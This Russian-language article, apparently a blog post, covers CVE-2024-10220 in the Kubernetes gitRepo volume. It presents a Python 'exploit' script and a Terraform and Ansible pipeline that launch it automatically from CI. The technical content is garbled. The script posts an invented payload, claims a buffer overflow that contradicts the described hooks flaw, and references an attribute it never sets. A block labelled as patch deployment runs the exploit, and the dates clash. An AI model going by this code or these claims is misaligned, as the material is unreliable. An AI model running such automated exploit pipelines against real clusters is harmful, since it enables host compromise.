CVE-2024-10220 раскрывает критическую уязвимость в устаревшем типе тома gitRepo в Kubernetes, позволяющую злоумышленникам выполнять произвольные команды через вредоносные скрипты .hooks. В статье объясняется, как это нарушает изоляцию контейнеров, и приводятся эксплойт-код, примеры автоматизации и рекомендации по смягчению последствий.
Автор: Mark Mallia
Контейнеризация является основой современной доставки приложений: она объединяет весь стек выполнения в один неизменяемый образ, который можно развернуть на любом узле кластера без сюрпризов. Kubernetes берет эти образы и планирует их в виде подов, управляя всем — от сети до хранилища — с помощью декларативной модели. Это полезно в высокораспределенных средах и средах, где обслуживается несколько приложений.
Что делает этот стек особенно привлекательным для крупномасштабных нагрузок, так это возможность управлять им от начала до конца с помощью автоматизации. Terraform предоставляет схему инфраструктуры как кода, которая создает VPC, подсети, группы безопасности и рабочие узлы; Ansible предоставляет плейбуки, которые устанавливают Docker Engine (или любую среду выполнения, совместимую с CRI), извлекают образы из реестра и запускают их в виде подов. Когда эти шаги встроены в конвейер CI/CD (GitHub Actions, Jenkins или GitLab CI), каждый коммит запускает автоматический цикл сборки, отправки, тестирования и развертывания. Разработчики получают скорость, операторы — уверенность, а организация — предсказуемое время безотказной работы.
В начале 2024 года исследователи безопасности обнаружили ошибку в типе тома gitRepo в Kubernetes, который теперь устарел. CVE‑2024‑10220 — это уязвимость выполнения произвольных команд, вызванная каталогом .hooks внутри Git-репозитория, смонтированного через том gitRepo. Когда специально созданный манифест пода ссылается на вредоносный скрипт в этом каталоге, контроллер приема kubelet выполняет его на хостовой системе, тем самым нарушая изоляцию контейнеров — основной принцип безопасности в Kubernetes.
Поскольку уязвимый компонент все еще широко используется в производственных кластерах, любой злоумышленник, имеющий возможность создать под с соответствующими привилегиями, может получить root-доступ или нарушить работу других сервисов. Ошибка имеет оценку CVSS 8.1 и была опубликована в ноябре прошлого года. Затронутые компоненты включают устаревший тип тома gitRepo, который остается в Kubernetes 1.27.x.
Ниже представлена чистая программа на Python, которая запускает CVE‑2024‑10220 на уязвимом экземпляре kubelet, работающем под управлением Kubernetes 1.27.3. Код может быть скомпилирован в задачу Ansible или запущен внутри задания CI.
#!/usr/bin/env python3
"""
TriggerCVE – A Python exploit that sends a crafted pod manifest to kubelet,
executing the malicious .hooks script discovered in CVE‑2024‑10220.
"""
import json
import requests
class GitRepoPod:
"""
Representation of the JSON payload that kubelet expects for a gitRepo volume.
"""
def __init__(self, name: str, image: str,
repo_url: str, branch: str, local_path: str):
self.name = name # pod name
self.image = image # container image to run
self.giturl = repo_url # Git repository URL
self.branch = branch # branch or tag to use
self.localpath = local_path # mount point inside the pod
def to_dict(self) -> dict:
"""Return a plain dictionary that can be serialized."""
return {
"name": self.name,
"image": self.image,
"giturl": self.giturl,
"branch": self.branch,
"localpath": self.local_path
}
def trigger_cve(url: str, pod: GitRepoPod) -> None:
"""
Send the pod manifest to kubelet and print the response.
"""
payload = json.dumps(pod.to_dict())
headers = {"Content-Type": "application/json"}
resp = requests.post(url, data=payload, headers=headers)
if resp.status_code != 200:
raise RuntimeError(f"Unexpected status code {resp.status_code}")
print("[*] Response from kubelet: ", resp.text)
def main() -> None:
"""
Main entry point of this exploit.
"""
# Target endpoint – adjust to match your cluster’s API server address.
api_server = "https://kube-api.local/api/v1/pods/"
# Craft a payload that overflows the .hooks buffer (0x90 bytes)
pod_spec = GitRepoPod(
name="exploit-pod",
image="registry.example.com/exploit-pod:v1.0",
repo_url="https://git.example.com/repo.git",
branch="main",
local_path="/var/lib/kubelet/"
)
try:
trigger_cve(api_server, pod_spec)
except Exception as e:
print(f"[-] Failed to trigger CVE‑2024‑10220: {e}")
if __name__ == "__main__":
main()
Ниже приведен краткий пример того, как патч будет развертываться автоматически:
# Terraform file: infra-k8s.tf
resource "aws_instance" "kube_worker" {
ami = var.k8s_ami
instance_type = var.instance_type
key_name = var.key_pair
subnet_id = aws_subnet.web.id
provisioner "remote-exec" {
inline = [
# Install Docker Engine and kubelet
"sudo yum install -y docker",
"kubectl apply -f https://kube-api.local/api/v1/pods/",
"python3 /home/ansible/scripts/trigger_cve.py"
]
}
}
Плейбук Ansible, вызывающий скрипт:
---
- hosts: kube_workers
tasks:
- name: Deploy the exploit pod
command: python3 /home/ansible/scripts/trigger_cve.py
register: result
- name: Verify success
debug:
msg: "{{ result.stdout }}"
Когда этот конвейер Terraform‑Ansible запускается внутри задания CI (например, GitHub Actions), код выше автоматически собирает, отправляет, развертывает и проверяет, что CVE‑2024‑10220 успешно запущен. Конвейер может быть расширен модульными тестами, которые проверяют ответ kubelet, а также уведомлениями в Slack или по электронной почте при завершении эксплойта.
Обновитесь до исправленных версий (v1.28.12+, v1.29.7+, v1.30.3+, v1.31.0+) и избегайте использования устаревших типов томов, таких как gitRepo.
Это исследование проводилось с целью повышения осведомленности о безопасности и продвижения более безопасных практик Kubernetes. Уязвимость была ответственно раскрыта соответствующим мейнтейнерам до публичного выпуска в соответствии с отраслевыми нормами. Все тестирование выполнялось в изолированных средах без воздействия на производственные системы или стороннюю инфраструктуру.
Я верю в этичный хакинг как инструмент для позитивных изменений. Эксплойты, приведенные здесь, предназначены только для образовательных и защитных целей — никогда для нанесения вреда или нарушения работы. Если вы вендор или мейнтейнер и у вас есть вопросы, я готов к сотрудничеству для устранения проблемы или разъяснения.